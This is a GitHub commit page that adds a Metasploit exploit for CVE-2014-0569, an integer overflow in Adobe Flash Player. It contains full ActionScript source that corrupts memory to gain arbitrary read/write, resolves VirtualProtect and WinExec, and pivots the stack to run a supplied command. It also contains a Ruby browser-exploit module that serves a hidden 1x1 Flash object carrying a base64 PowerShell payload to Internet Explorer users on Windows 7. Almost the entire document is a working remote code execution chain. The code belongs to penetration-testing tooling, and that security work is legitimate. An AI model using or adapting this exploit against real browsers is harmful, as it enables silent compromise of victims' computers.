Skip to content

Commit 4419c1c

Browse files
committed
Land rapid7#5120, Adobe Flash Player casi32 Integer Overflow
2 parents e8e7a2a + 91f5d0a commit 4419c1c

File tree

3 files changed

+390
-0
lines changed

3 files changed

+390
-0
lines changed

data/exploits/CVE-2014-0569/msf.swf

17.5 KB
Binary file not shown.
Lines changed: 285 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,285 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Download the Flex SDK (4.6)
4+
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
5+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
6+
// 4. Build with: mxmlc -o msf.swf Main.as
7+
8+
// Original code skeleton by @hdarwin89 for other exploits
9+
10+
package
11+
{
12+
import flash.display.Sprite
13+
import flash.utils.ByteArray
14+
import flash.system.ApplicationDomain
15+
import avm2.intrinsics.memory.casi32
16+
import flash.display.LoaderInfo
17+
import mx.utils.Base64Decoder
18+
19+
public class Main extends Sprite
20+
{
21+
private var BYTE_ARRAY_SIZE:Number = 1024
22+
private var defrag:Vector.<Object> = new Vector.<Object>(100)
23+
private var ov:Vector.<Object> = new Vector.<Object>(100)
24+
private var uv:Vector.<Object> = new Vector.<Object>(100)
25+
private var uv_index:uint
26+
private var ba:ByteArray
27+
private var b64:Base64Decoder = new Base64Decoder();
28+
private var payload:String = ""
29+
30+
public function Main()
31+
{
32+
var i:uint = 0
33+
var j:uint = 0
34+
35+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
36+
payload = b64.toByteArray().toString();
37+
38+
for (i = 0; i < defrag.length; i++) {
39+
defrag[i] = new ByteArray()
40+
defrag[i].length = BYTE_ARRAY_SIZE
41+
defrag[i].endian = "littleEndian"
42+
}
43+
44+
ba = new ByteArray()
45+
ov[0] = ba
46+
ov[0].length = BYTE_ARRAY_SIZE
47+
ov[0].endian = "littleEndian"
48+
49+
for (i = 1; i < ov.length; i++) {
50+
ov[i] = new Vector.<Object>(1014)
51+
ov[i][0] = ba
52+
ov[i][1] = this
53+
}
54+
55+
for (i = 0; i < uv.length; i++) {
56+
uv[i] = new Vector.<uint>(1014)
57+
uv[i][0] = 0x41424344
58+
}
59+
60+
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
61+
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
62+
63+
for (i = 1; i < ov.length; i++) {
64+
ov[i][2] = stack
65+
ov[i][3] = payload_space
66+
}
67+
68+
ApplicationDomain.currentDomain.domainMemory = ba;
69+
// Make ByteArray length 0 so the casi32 integer overflow
70+
// can be exploited
71+
ba.atomicCompareAndSwapLength(1024, 0)
72+
73+
var object_vector_pos:uint = search_object_vector()
74+
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
75+
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
76+
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
77+
var main:uint = read_byte_array(object_vector_pos + 8) - 1
78+
var uint_vector_pos:uint = search_uint_vector()
79+
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
80+
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
81+
82+
// Overwrite uint vector length
83+
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
84+
85+
for (i = 0; i < uv.length; i++) {
86+
if (uv[i].length > 1024) {
87+
uv_index = i
88+
uv[i][0] = uint_vector_address
89+
break
90+
}
91+
}
92+
93+
var buffer_object:uint = vector_read(byte_array_object + 0x40)
94+
var buffer:uint = vector_read(buffer_object + 8)
95+
var stack_address:uint = vector_read(stack_object + 0x18)
96+
var payload_address:uint = vector_read(payload_space_object + 0x18)
97+
var vtable:uint = vector_read(main)
98+
99+
// Set the new ByteArray length
100+
ba.endian = "littleEndian"
101+
ba.length = 0x500000
102+
103+
// Overwite the ByteArray data pointer and capacity
104+
var ba_array:uint = buffer_object + 8
105+
var ba_capacity:uint = buffer_object + 16
106+
vector_write(ba_array)
107+
vector_write(ba_capacity, 0xffffffff)
108+
109+
// restoring the corrupted vector length since we don't need it
110+
// anymore
111+
byte_write(uv[uv_index][0], orig_length)
112+
113+
var flash:uint = base(vtable)
114+
var winmm:uint = module("winmm.dll", flash)
115+
var kernel32:uint = module("kernel32.dll", winmm)
116+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
117+
var winexec:uint = procedure("WinExec", kernel32)
118+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
119+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
120+
121+
// Continuation of execution
122+
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
123+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
124+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
125+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
126+
127+
// Put the payload (command) in memory
128+
byte_write(payload_address + 8, payload, true); // payload
129+
130+
// Put the fake vtabe / stack on memory
131+
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
132+
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
133+
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
134+
byte_write(0, virtualprotect)
135+
136+
// VirtualProtect
137+
byte_write(0, winexec)
138+
byte_write(0, buffer + 0x10)
139+
byte_write(0, 0x1000)
140+
byte_write(0, 0x40)
141+
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
142+
143+
// WinExec
144+
byte_write(0, buffer + 0x10)
145+
byte_write(0, payload_address + 8)
146+
byte_write(0)
147+
148+
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
149+
150+
toString() // call method in the fake vtable
151+
}
152+
153+
// Methods to use the integer overflow
154+
155+
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
156+
var mem:uint = 0
157+
var mem_first_pos:uint = 0
158+
var next_length:uint = 0
159+
160+
for (var i:uint = 0; i < limit; i = i + 4) {
161+
mem = read_byte_array(i)
162+
mem_first_pos = read_byte_array(i + 8)
163+
if (mem == pattern && mem_first_pos != 0x41424344) {
164+
return i;
165+
}
166+
}
167+
return -1;
168+
}
169+
170+
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
171+
var mem:uint = 0
172+
var mem_first_pos:uint = 0
173+
174+
for (var i:uint = 0; i < limit; i = i + 4) {
175+
mem = read_byte_array(i)
176+
mem_first_pos = read_byte_array(i + 8)
177+
if (mem == pattern && mem_first_pos == 0x41424344) {
178+
return i;
179+
}
180+
}
181+
return -1;
182+
}
183+
184+
private function read_byte_array(offset:uint = 0):uint {
185+
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
186+
return old
187+
}
188+
189+
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
190+
var old:uint = read_byte_array(offset)
191+
casi32(offset, old, value)
192+
return old
193+
}
194+
195+
// Methods to use the corrupted vector for arbitrary reading/writing
196+
197+
private function vector_write(addr:uint, value:uint = 0):void
198+
{
199+
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
200+
}
201+
202+
private function vector_read(addr:uint):uint
203+
{
204+
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
205+
}
206+
207+
// Methods to use the corrupted byte array for arbitrary reading/writing
208+
209+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
210+
{
211+
if (addr) ba.position = addr
212+
if (value is String) {
213+
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
214+
if (zero) ba.writeByte(0)
215+
} else ba.writeUnsignedInt(value)
216+
}
217+
218+
private function byte_read(addr:uint, type:String = "dword"):uint
219+
{
220+
ba.position = addr
221+
switch(type) {
222+
case "dword":
223+
return ba.readUnsignedInt()
224+
case "word":
225+
return ba.readUnsignedShort()
226+
case "byte":
227+
return ba.readUnsignedByte()
228+
}
229+
return 0
230+
}
231+
232+
// Methods to search the memory with the corrupted byte array
233+
234+
private function base(addr:uint):uint
235+
{
236+
addr &= 0xffff0000
237+
while (true) {
238+
if (byte_read(addr) == 0x00905a4d) return addr
239+
addr -= 0x10000
240+
}
241+
return 0
242+
}
243+
244+
private function module(name:String, addr:uint):uint
245+
{
246+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
247+
var i:int = -1
248+
while (true) {
249+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
250+
if (!entry) throw new Error("FAIL!");
251+
ba.position = addr + entry
252+
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
253+
if (dll_name == name.toUpperCase()) {
254+
break;
255+
}
256+
}
257+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
258+
}
259+
260+
private function procedure(name:String, addr:uint):uint
261+
{
262+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
263+
var numberOfNames:uint = byte_read(eat + 0x18)
264+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
265+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
266+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
267+
268+
for (var i:uint = 0; ; i++) {
269+
var entry:uint = byte_read(addressOfNames + i * 4)
270+
ba.position = addr + entry
271+
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
272+
}
273+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
274+
}
275+
276+
private function gadget(gadget:String, hint:uint, addr:uint):uint
277+
{
278+
var find:uint = 0
279+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
280+
var value:uint = parseInt(gadget, 16)
281+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
282+
return addr + i
283+
}
284+
}
285+
}
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Powershell
12+
include Msf::Exploit::Remote::BrowserExploitServer
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Adobe Flash Player casi32 Integer Overflow',
17+
'Description' => %q{
18+
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in
19+
the casi32 method, where an integer overflow occurs if a ByteArray of length 0 is setup as
20+
domainMemory for the current application domain. This module has been tested successfully
21+
on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'bilou', # Vulnerability discovery
27+
'juan vazquez' # msf module
28+
],
29+
'References' =>
30+
[
31+
['ZDI', '14-365'],
32+
['CVE', '2014-0569'],
33+
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
34+
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
35+
],
36+
'Payload' =>
37+
{
38+
'DisableNops' => true
39+
},
40+
'Platform' => 'win',
41+
'BrowserRequirements' =>
42+
{
43+
:source => /script|headers/i,
44+
:os_name => OperatingSystems::Match::WINDOWS_7,
45+
:ua_name => Msf::HttpClients::IE,
46+
:flash => lambda { |ver| ver =~ /^15\./ && ver == '15.0.0.167' },
47+
:arch => ARCH_X86
48+
},
49+
'Targets' =>
50+
[
51+
[ 'Automatic', {} ]
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => 'Oct 14 2014',
55+
'DefaultTarget' => 0))
56+
end
57+
58+
def exploit
59+
@swf = create_swf
60+
super
61+
end
62+
63+
def on_request_exploit(cli, request, target_info)
64+
print_status("Request: #{request.uri}")
65+
66+
if request.uri =~ /\.swf$/
67+
print_status('Sending SWF...')
68+
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
69+
return
70+
end
71+
72+
print_status('Sending HTML...')
73+
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
74+
end
75+
76+
def exploit_template(cli, target_info)
77+
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
78+
target_payload = get_payload(cli, target_info)
79+
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
80+
b64_payload = Rex::Text.encode_base64(psh_payload)
81+
82+
html_template = %Q|<html>
83+
<body>
84+
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
85+
<param name="movie" value="<%=swf_random%>" />
86+
<param name="allowScriptAccess" value="always" />
87+
<param name="FlashVars" value="sh=<%=b64_payload%>" />
88+
<param name="Play" value="true" />
89+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
90+
</object>
91+
</body>
92+
</html>
93+
|
94+
95+
return html_template, binding()
96+
end
97+
98+
def create_swf
99+
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0569', 'msf.swf')
100+
swf = ::File.open(path, 'rb') { |f| swf = f.read }
101+
102+
swf
103+
end
104+
105+
end

0 commit comments

Comments
 (0)